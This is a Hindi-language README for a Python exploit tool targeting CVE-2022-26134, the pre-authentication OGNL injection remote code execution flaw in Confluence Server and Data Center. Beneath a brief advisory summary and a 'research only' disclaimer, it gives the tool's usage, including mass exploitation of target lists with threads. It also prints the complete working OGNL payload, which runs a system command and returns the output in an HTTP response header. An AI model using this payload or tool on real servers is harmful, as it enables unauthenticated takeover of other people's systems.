कन्‍फ्लुएंस प्री-ऑथ रिमोट कोड एक्ज़ीक्यूशन OGNL इंजेक्शन के माध्यम से (CVE-2022-26134)

कन्‍फ्लुएंस प्री-ऑथ रिमोट कोड एक्ज़ीक्यूशन OGNL इंजेक्शन के माध्यम से (CVE-2022-26134)

• 02 जून, 2022 को Atlassian ने अपने Confluence Server और Data Center अनुप्रयोगों के लिए एक सुरक्षा सलाहकार जारी किया, जिसमें एक गंभीर स्तर की अप्रमाणित रिमोट कोड निष्पादन भेद्यता पर प्रकाश डाला गया। OGNL इंजेक्शन भेद्यता एक अप्रमाणित उपयोगकर्ता को Confluence Server या Data Center इंस्टेंस पर मनमाना कोड निष्पादित करने की अनुमति देती है।

महत्वपूर्ण

यह शोषण केवल शोधकर्ताओं द्वारा भेद्यता के प्रदर्शन को सुविधाजनक बनाने के लिए है। मैं अवैध कार्यों की अनुशंसा नहीं करता हूँ और इस स्क्रिप्ट के किसी भी दुर्भावनापूर्ण उपयोग के लिए कोई जिम्मेदारी नहीं लेता।

• अनुरोध उदाहरण

एक्सप्लॉइट उपयोग

python3 exploit.py -h
Usage: exploit.py [options]

Options:
  -h, --help            show this help message and exit
  -u URL, --url=URL     Base target uri (ex. http://target-uri/)
  -f FILEHOSTS, --file=FILEHOSTS
                        example.txt
  -t THREADS_SET, --threads=THREADS_SET
  -m TIMEOUT, --maxtimeout=TIMEOUT
  -o OUTPUT, --output=OUTPUT
  -c COMMAND, --cmd=COMMAND

एकल लक्ष्य का शोषण:

$ python3 exploit.py -u http://xxxxx.com -c id

बहु-लक्ष्य शोषण

$ python3 exploit.py -f urls.txt -p -c id

OGNL अभिव्यक्ति

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

संदर्भ:

• https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

• https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis